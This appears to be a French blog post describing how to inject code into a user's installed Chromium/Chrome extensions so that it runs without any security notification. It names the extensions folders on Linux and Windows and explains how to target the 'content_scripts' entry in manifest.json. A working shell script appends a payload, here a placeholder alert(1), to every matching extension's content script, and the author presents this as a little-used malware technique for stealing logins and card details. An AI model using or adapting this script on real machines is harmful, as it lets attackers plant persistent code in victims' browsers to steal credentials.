[Chromium /Chrome] Infecter les extensions du navigateur sans notification de sécurité

2 article 1

 

Hello Hello,

 

Beaucoup de malwares se font malheureusement pour certains, heureusement pour d'autres, pincer car ils ajoutent des extensions toutes pourries dans votre navigateur ... pour vous piquer vos identifiants, dérober votre carte bleue ...
Tout ça pour dire que les motifs ne manquent pas aux hackers pour vous attraper dans leurs filets !

 

J'aimerais vous parler d'une manière de faire peu exploitée, mais qui risque surement de grossir après la parution de cet article :)

 

Car au lieu d'ajouter une extension ... là on injecte directement notre code dans les extensions déjà existantes !

 

Je n'ai pas réalisé de script pour Windows, mais je sais que le fonctionnement est le même.
Il est possible de modifier des extensions installées sur Chrome et Chromium à la volée !
Bien entendu elle ne prendront effet que lorsque l'utilisateur ré-ouvrira son navigateur.

Sous Linux, les extensions sont stockées ici :

~/.config/chromium/Default/Extensions/

Sous Windows, elles sont ici :

%appdata%\Local\Google\Chrome\User Data\Default\Extensions

Les WebExtensions (nom donné à ces extensions facilement portables sur Chrome, Firefox, Opéra, ... ) sont en vogue et ont de beaux jours devant elles !
Elles sont construites selon une norme commune, et par conséquent, elles ont toutes l'obligation d'avoir un fichier manifest.json qui renseignent le navigateur sur quel fichier sert à quoi.

2 article 2

 

Si nous souhaitons injecter un script dans des pages Web, il existe une propriété de ce fichier qui s'appelle "content_scripts", c'est elle qui contient la liste des fichiers que l'extension injectera dans vos pages web.

2 article 1

 

C'est donc cette propriété que nous allons exploiter pour connaitre les scripts où nous pourrons injecter discrètement notre code malicieux.

 

J'ai donc codé rapidement un script qui fait très bien le boulot sous Linux !

#!/bin/sh

#Bout de code à injecter
toInject="alert(1);//Hack";

#Récupération de toutes les extensions installées
grep content_script  ~/.config/chromium/Default/Extensions/ -R | grep manifest.json  | while read manifest; do
		  #On récupère le chemin vers le manifest
		  manifest=`echo $manifest| cut -d: -f1`
		  #On récupère le chemin de l'extension
		  manifest_path=`echo $manifest | sed 's/manifest\.json//g'`
		  #On récupère le premier fichier JS  de l'extension qui est inclu dans content_script
		  file=`cat $manifest | xargs | sed 's/.*content_scripts//g' | sed 's/.*js://g' | sed 's/].*//g' | sed 's/\[//g' | xargs | cut -d, -f1`
		 #On n'y injecte notre bout de code
		 echo $toInject >>  $manifest_path$file
done;
Partagez ce contenu

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *